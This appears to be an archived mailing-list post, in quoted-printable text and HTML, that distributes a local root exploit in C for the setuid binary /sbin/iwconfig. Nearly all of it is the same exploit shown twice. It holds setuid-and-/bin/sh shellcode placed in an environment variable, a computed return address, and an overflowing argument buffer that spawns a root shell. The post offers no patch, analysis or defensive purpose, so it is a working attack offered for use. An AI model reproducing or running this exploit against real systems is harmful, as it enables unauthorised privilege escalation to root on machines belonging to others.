Local root exploit for /usr/sbin/iwconfig.
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http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c
=20
//Diabolic Crab's Local Root Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@hackerscenter.com
//www.hackerscenter.com
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=3D
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc,char **argv){
char buf[96];
unsigned long ret;
int i;
char *prog[]=3D{"/sbin/iwconfig",buf,NULL};
char *env[]=3D{"EGG=3D",shellcode,NULL};
ret=3D0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("use ret addr: 0x%x\n",ret);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);
execve(prog[0],prog,env);
}
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<META http-equiv=3DContent-Type content=3D"text/html; =
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<DIV><FONT face=3DArial size=3D2><A=20
href=3D"http://icis.digitalparadox.org/~dcrab/dc_iwconfig.c">http://icis.=
digitalparadox.org/~dcrab/dc_iwconfig.c</A></FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT> </DIV>
<DIV><!--StartFragment --> <PRE>//Diabolic Crab's Local Root =
Exploit
///usr/sbin/iwconfig or /sbin/iwconfig
//dcrab@hackerscenter.com
//www.hackerscenter.com
#include <stdio.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=3D
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
"\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
"\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
"\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
"\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
"\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
"\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc,char **argv){
char buf[96];
unsigned long ret;
int i;
char *prog[]=3D{"/sbin/iwconfig",buf,NULL};
char *env[]=3D{"EGG=3D",shellcode,NULL};
ret=3D0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
printf("use ret addr: 0x%x\n",ret);
memset(buf,0x41,sizeof(buf));
memcpy(&buf[92],&ret,4);
execve(prog[0],prog,env);
}
</PRE></DIV></BODY></HTML>
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